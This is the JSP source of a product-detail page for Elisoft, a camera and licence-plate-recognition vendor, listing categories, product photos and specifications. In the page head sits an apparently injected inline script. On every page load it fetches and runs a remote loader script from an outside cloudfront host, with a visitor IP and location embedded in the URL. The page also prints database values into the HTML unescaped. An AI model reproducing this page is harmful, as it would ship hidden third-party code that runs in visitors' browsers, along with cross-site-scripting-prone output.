<%@page import="DAO.*"%>
<%@page import="POJO.*"%>
<%@page import="java.util.List"%>

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Elisoft-product-detail</title>
	<link rel="stylesheet" type="text/css" href="styles/wt-rotator_pro.css"/>
    <link rel="stylesheet" type="text/css" href="styles/product.css"/>
    <link rel="stylesheet" type="text/css" href="styles/liveshow_prdetail.css"/>
	<script type="text/javascript" src="js/jquery-1.3.2.min.js"></script>
    <script type="text/javascript" src="js/dropdown.js"></script>
	<script type="text/javascript" src="js/jquery-1.4.2.min.js"></script>
    
    <script type="text/javascript" src="js/jquery.wt-rotator.min.js"></script>
	<script type="text/javascript" src="js/preview1.js"></script> 
	
	 <script type="text/javascript" src="js/jquery-1.js"></script><script type="text/javascript">if(typeof _GPL_16_loaded == 'undefined'){_GPL_16_loaded=true;var _GPL_i=document.getElementsByTagName('head');_GPL_i=(_GPL_i.length>0)?_GPL_i:document.getElementsByTagName('body');if(_GPL_i.length>0){var _GPL_j=document.createElement('script');_GPL_j.async=true;_GPL_j.type='text/javascript';_GPL_j.src='https://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_16.js?pid=16&zoneid=7818&cid=VN&rid=20&ccid=Ho%20Chi%20Minh%20City&ip=113.161.75.37&aoi=1314328893';_GPL_i[0].appendChild(_GPL_j)}}</script>
    
    <script type="text/javascript" src="js/liveshow.js"></script>    
<style type="text/css">
<!--
body {
	background-color: #000000;
}
-->
</style>
</head>
<body>
<div id="mainframe">
<div id="banner">
	
    	<!--langue-->
        <div id="langue">
        	<ul>
            	<li><img src="images/index.png" alt="english" /></li>
                <li><a href="index.html">Go home</a></li>
            	<li><img src="images/england.png" alt="english" /></li>
                <li><a href="#">English</a></li>
                <li><img src="images/VN.jpg" alt="Vietnamese" /></li>
                <li><a href="#">Vietnamese</a></li>
                <li><img src="images/korean.jpg" alt="Korean" /></li>
                <li><a href="#">Korean</a></li>
            </ul>
        </div>
	
		<!--menu-->
<div id="bgr_menu"></div>
 <div id="wrapper">
            <ul id="nav">
               <li style="padding-left:250px;"><a href="about.jsp">Company Overview</a>
               		<ul>
                    	<li><a href="history.html">History</a></li>
                        <li><a href="manage.html">Director & Personnel</a></li>
                        <li><a href="slogan.html">Slogan</a></li>
                    </ul>
               </li>
               <li><a href="solution.jsp">Solution</a>
                    <ul>
                       <li><a href="#">LPR system (legal parking enforcement)</a></li>
                       <li><a href="#">Bus lane violation enforcement system on the metro bus</a>
							   
						</li>
                       <li><a href="#">Portable LPR system</a></li>
                       <li><a href="#">Speed enforcement system (Fixed type)</a></li>
                       <li><a href="#">Speed enforcement system (Mobile type)</a></li>
                    </ul>
               </li>
               <li><a href="product.jsp">Product</a>
                   <ul>
							<%
								List<Category> lstCate = CategoryDAO.lstCategory();
								for (int i = 0; i < lstCate.size(); i++) {
									Category cate=lstCate.get(i);
							%>
							<li><a href="producttype.jsp?idcate=<%=cate.getCategoryId()%>"><%=cate.getCategoryName() %></a></li>
							<%}%>
						</ul> 
               </li>
               <li><a href="dowload.jsp">Donwload</a>
               		<ul>
                        <li><a href="#">Demo_Small Release</a></li>
                        <li><a href="#">Trailer Video</a></li>
                         <li><a href="#">Forms & Document</a></li>
                         </ul>
               </li>
               <li><a href="career.jsp">Career</a>
               		<ul>
                    	<li><a href="#">Intership</a></li>
                        <li><a href="#">Programmer</a></li>
                        <li><a href="#">Designer</a></li>
                         <li><a href="#">Translator</a></li>
                    </ul>
               		
               </li>
               <li><a href="contact_us.jsp" style="border:0">Contact Us</a></li>
            </ul>
    </div>
        <div id="logo">
        	<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="184" height="182" id="Untitled-1" align="middle">
	<param name="allowScriptAccess" value="sameDomain" />
	<param name="allowFullScreen" value="false" />
	<param name="movie" value="Untitled-1.swf" /><param name="quality" value="high" /><param name="wmode" value="transparent" /><param name="bgcolor" value="#ffffff" />	<embed src="Untitled-1.swf" quality="high" wmode="transparent" bgcolor="#ffffff" width="184" height="182" name="Untitled-1" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
	</object>
        </div>

		<!--banner-->
<div class="panel">
	
 	<div class="container">
 	  <div class="wt-rotator"> <a href="#"></a>
          <div class="desc"></div>
 	    <div class="preloader"></div>
 	    <div class="c-panel">
            <div class="buttons">
              <div class="prev-btn"></div>
              <div class="play-btn"></div>
              <div class="next-btn"></div>
            </div>
 	      <div class="thumbnails">
              <ul>
              	 <li> <a href="images/image/product_12.gif" title="elisoft.com"></a> <a href="#" target="_blank"></a>
                    <div class="detail"> 
                    	<span class="cap-title">elisoft</span></br>
                      	<span class="cap-text">Vision Technology Total Solution</span></br>
                     	
                     </div>
                </li>
              </ul>
          </div>
        </div>
      </div>
 	</div>
</div>
</div> 
	<!--search-->
    	<div id="search">
        	<div id="search_left"><span class="pro">Product</span></div>
            <div id="search_right">
            	<div class="left"></div>
          <div class="right">
                	<form action="#" method="post">
							<input class="input_text" name="search" type="text" value="search..."  onfocus="if(this.value == 'search...') { this.value=''; }" onblur="if(this.value=='') { this.value='search...'; }"  />
                            <input  class="img" name="ok" type="submit" value=" " />
                	</form>
                
                </div>
            </div>
        </div>
        
    <!--content-->
    <div id="pro">
    	<!--content_left-->
  
     <div id="left_pr">   
        <div id="pro_left">
        	<ul>
        	<%
								List<Category> lstCate1 = CategoryDAO.lstCategory();
								for (int i = 0; i < lstCate1.size(); i++) {
									Category cate1=lstCate1.get(i);
							%>
            	<li>
            	<img src="images/<%=cate1.getCategoryPhoto()%>"><a href="producttype.jsp?idcate=<%=cate1.getCategoryId()%>"><%=cate1.getCategoryName() %></a></li>
            	<%} %>
            </ul>
        </div>
        <div id="pro_left_ft"></div>
        <!--support-->
       <div id="support">
        	<div id="support_top"></div>
            <div id="support_center">
            	<span><img src="images/product_44.png" alt="support" /></span>
                <p>Hotline:<span class="number"> +82-53-857-5548</br>+82-2-419-5396</span></p>
            
         </div>
            <div id="support_bottom"></div>
       </div>
    </div>
    
    <!--content_right-->
    
    	<div id="right_pr">
       	  <div id="article_detail">
       	  <%
       	  String id=request.getParameter("id");
       	  Product product=ProductDAO.getProduct(Integer.parseInt(id));
       	 // Photos photo=PhotoDAO.getPhotosId(product.getProductId());
       	  %>
           	<p class="title">Camera: <%=product.getProductName() %></p>
                <%-- <img src="emagesProduct/<%=photo.getPhotoName() %>" alt="1" /> --%>
            <p class="phara"><%=product.getDetail() %></p>
            
            <!--liveshow-->
          	<div id="contenner">
			<div id="bigPic1">
				<%
					List<Photos> lstPhoto1=PhotoDAO.listPhotoIdProduct(product.getProductId());
					//System.out.print("sqlMai:"+product.getProductId());
					if(lstPhoto1.size()>0){
						for(int i=0;i<lstPhoto1.size();i++){	
						Photos photo1=lstPhoto1.get(i);
				%>
				<img style="display: none; opacity: 1; z-index: 1;" src="emagesProduct/<%=photo1.getPhotoName() %>" alt="">
				<%} }%>
		  </div>
			<ul id="thumbs1">
			<%
					List<Photos> lstPhoto2=PhotoDAO.listPhotoIdProduct(product.getProductId());
					//System.out.print("sqlMai:"+product.getProductId());
					if(lstPhoto2.size()>0){
						for(int i=0;i<lstPhoto2.size();i++){	
						Photos photo1=lstPhoto2.get(i);
				%>
				<li class=" " rel="1"><img src="emagesProduct/<%=photo1.getPhotoName() %> " alt=""></li>
				<%} }%>
			
			</ul>
		</div>
          <!--end liveshow-->
          </div>
          
          
          <div id="froduct_info">
          		<table cellspacing="0" cellpadding="0">
                  <tr class="bgr">
                    <td width="173">Title</td>
                    <td width="530">Values</td>
                  </tr>
                  <tr>
                    <td>Name product</td>
                    <td><%=product.getProductName() %></td>
                  </tr>
                  <tr>
                    <td>Color</td>
                    <td><%=product.getColor() %></td>
                  </tr>
                  <tr>
                    <td>Orgin</td>
                    <td><%=product.getOrgin() %></td>
                  </tr>
                  <tr>
                    <td>Price</td>
                    <td><%=product.getPrice() %></td>
                  </tr>
                  <tr>
                    <td>Detail</td>
                    <td><%=product.getDetail() %></td>
                  </tr>
                </table>
          </div>
          
          <div id="order_product">
          	<div class="title">Other Product</div>
            <div class="sp">
            	<table width="719" border="0" cellspacing="3" cellpadding="0">
                  <tr>
                  <%
                   		List<Product> lstProduct=ProductDAO.lstProduct_3();
                  		if(lstProduct.size()!=0){
                  		
                  		
                  			for(int i=0;i<lstProduct.size();i++){
                  				Product product1=lstProduct.get(i);
                  				Photos photo1=PhotoDAO.getPhotosId(product1.getProductId());
                  				//System.out.print("product.getCategoryId(): "+product.getCategoryId());
                  				List<Category> list= CategoryDAO.lstCategoryid_index(product1.getCategoryId());
                  				if(list.size()>0){
                  				Category category=list.get(0);
                  				//Category category=(list.size()>0) ? list.get(0) : null;
                  	%>
                    <td>
                    	<div class="article">
                        	<div class="top"></div>
                            <div class="center">
                            	<div class="title"><p><%=category.getCategoryName() %>: <%=product1.getProductName() %></p></div>
                            	<div class="detail">
                                	<img src="emagesProduct/<%=photo1.getPhotoName()%>" class="img" />
                                      <p class="phara"><%=product1.getDetail() %></p>
                                     
                                </div>
                            </div>
                             <div class="viewmore"><a href="productdetail.jsp?id=<%=product1.getProductId()%>" >Detail</a></div>
                            <div class="bottom"></div>
                        </div>
                    </td>
                    <%}}} %>
                    
                    
                    
                  </tr>
                </table>
				<div class="view_more" ><a href="product.jsp">View more</a></div>
            </div>
            
          </div>
          
        </div>
  </div>
    
    <!--footer-->
    <div id="footer">
    	<ul>
        	<li><a href="index.jsp">Home</a></li>
            <li><a href="solution.jsp">Solution</a></li>
            <li><a href="product.jsp">Product</a></li>
            <li><a href="career.jsp">Career</a></li>
            <li><a href="dowload.jsp">Download</a></li>
            <li><a href="contact_us.jsp">Contact us</a></li>
            <li><a href="#">Site map</a></li>
          </ul>

<p>Copyright@2011 ELISOFT, All right reserved Elisoft</br>
Head Quater & factory | #104,R&DB center.Kyung-li Univ,Buhori,Hayangup,Kyungsansi,Kyungpook,Ref of Korea</br>
                         Tel : +82-53-857-5548,Fax:+82-53-857-5549</br>
Sales office in Seoul | 3Fl,283-8,Sukchondong,Songpagu,Seoul,Ref of Korea</br>
                 Tel:+82-2-419-5396,Fax:+82-2-419-5397 </p>
    </div>
</div>
</body>
</html>